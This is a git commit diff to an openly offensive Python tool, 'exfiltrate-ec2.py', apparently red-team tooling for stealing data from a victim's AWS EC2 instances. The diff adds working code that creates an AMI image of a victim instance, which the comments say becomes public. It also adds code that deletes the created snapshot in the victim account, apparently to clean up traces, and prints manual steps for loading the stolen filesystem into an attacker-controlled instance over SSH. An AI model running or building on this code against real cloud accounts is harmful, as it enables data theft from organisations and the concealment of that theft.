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Enhanced exfiltrate-ec2.py a bit

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mgeeky 2019-12-05 11:24:49 +01:00
parent 97c8e5b513
commit 5c58f333cb
1 changed files with 45 additions and 14 deletions
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59
clouds/aws/exfiltrate-ec2.py
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@ -22,7 +22,7 @@
# Abuses: # Abuses:
# ec2:CreateImage # ec2:CreateImage
# #
# NOT IMPLEMENTED YET. # NOT FULLY IMPLEMENTED YET.
# For this technique, the procedure is following - the script will create an image out of specified victim's EC2 # For this technique, the procedure is following - the script will create an image out of specified victim's EC2
# instance. This image will become publicly available (caution with client sensitive data!). After that, the script # instance. This image will become publicly available (caution with client sensitive data!). After that, the script
# will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that # will attempt to create/import public SSH RSA keys to the attacker's account and then create an EC2 instance using that
@ -277,6 +277,13 @@ class ExfiltrateEC2:
else: else:
Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}") Logger.fail(f"ec2:AttachVolume action on Attacker failed. Exception: {e}")
try:
Logger.out(f"Cleanup. Trying to remove created snapshot ({snapshot['SnapshotId']}) at Victim's estate...")
victim_client.delete_snapshot(SnapshotId = snapshot['SnapshotId'])
Logger.ok(f"Snapshot removed.")
except Exception as e:
Logger.fail(f"(That's ok) ec2:DeleteSnapshot action on Victim failed. Exception: {e}")
ssh_command = 'SSH to the attacker\'s EC2 instance\n' ssh_command = 'SSH to the attacker\'s EC2 instance\n'
if attacker_instance_data: if attacker_instance_data:
try: try:
@ -328,17 +335,21 @@ To examine exfiltrated data:
''') ''')
return True return True
def create_image(self, instance_id): def create_image(self, instance_id, image_name, image_description):
# Step 1: Create image: victim_client = self.session['victim'].client('ec2')
# client.create_image( attacker_client = self.session['attacker'].client('ec2')
# InstanceId = "<targeted-instance-id>",
# Name = "some name", created_image = None
# Description = "some description" try:
# ) Logger.out("Step 1: Creating a publicly available AMI image out of specified EC2 instance.")
# Returns: created_image = victim_client.create_image(
# { InstanceId = instance_id,
# "ImageId" : "ami-00000000" Name = image_name,
# } Description = image_description
)
Logger.ok(f"AMI Image with name: ({image_name}) created: {created_image['ImageId']}")
except Exception as e:
Logger.fatal(f"ec2:CreateImage action on Victim failed. Exception: {e}")
# Step 2: Import custom SSH RSA public key # Step 2: Import custom SSH RSA public key
# client.import_key_pair( # client.import_key_pair(
@ -369,7 +380,25 @@ To examine exfiltrated data:
# #
# $ ssh ec2-user@1.2.3.4 # $ ssh ec2-user@1.2.3.4
# $ ls -l # $ ls -l
Logger.fatal("NOT IMPLEMENTED YET.")
print(f"""
===============================================================
[!] REST OF THE EXPLOIT LOGIC HAS NOT BEEN IMPLEMENTED YET.
===============================================================
[.] You can proceed manually from this point:
1) Create an EC2 instance in region: {self.region}
2) Make sure this EC2 instance is being created out of public AMI image with ID:
Image ID: {created_image['ImageId']}
3) Setup SSH keys, Security Groups, etc.
4) SSH into that machine.
Created EC2 instance's filesystem will be filled with files coming from the exfiltrated EC2.
""")
def parseOptions(argv): def parseOptions(argv):
global config global config
@ -408,6 +437,8 @@ def parseOptions(argv):
' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity.' ' This AMI image will then be shared with another AWS account, constituing exfiltration opportunity.'
createimage = subparsers.add_parser('createimage', help = a) createimage = subparsers.add_parser('createimage', help = a)
createimage.add_argument('--instance-id', help = '(Required) Specifies instance id (i-...) to create an image of.') createimage.add_argument('--instance-id', help = '(Required) Specifies instance id (i-...) to create an image of.')
createimage.add_argument('--image-name', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a name for newly created AMI image. Default: "Exfiltrated AMI image"')
createimage.add_argument('--image-desc', default = "Exfiltrated AMI image", type=str, help = '(Optional) Specifies a description for newly created AMI image. Default: "Exfiltrated AMI image"')
b = 'Creates a snapshot of an EBS volume used by an EC2 instance.'\ b = 'Creates a snapshot of an EBS volume used by an EC2 instance.'\
' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity.' ' This snapshot will then be shared with another AWS account, constituing exfiltration opportunity.'
@ -508,7 +539,7 @@ def main(argv):
if opts.method == 'createimage': if opts.method == 'createimage':
Logger.info("Abusing ec2:CreateImage...") Logger.info("Abusing ec2:CreateImage...")
exp.create_image(opts.instance_id) exp.create_image(opts.instance_id, opts.image_name, opts.image_desc)
elif opts.method == 'createsnapshot': elif opts.method == 'createsnapshot':
Logger.out("Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...\n") Logger.out("Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...\n")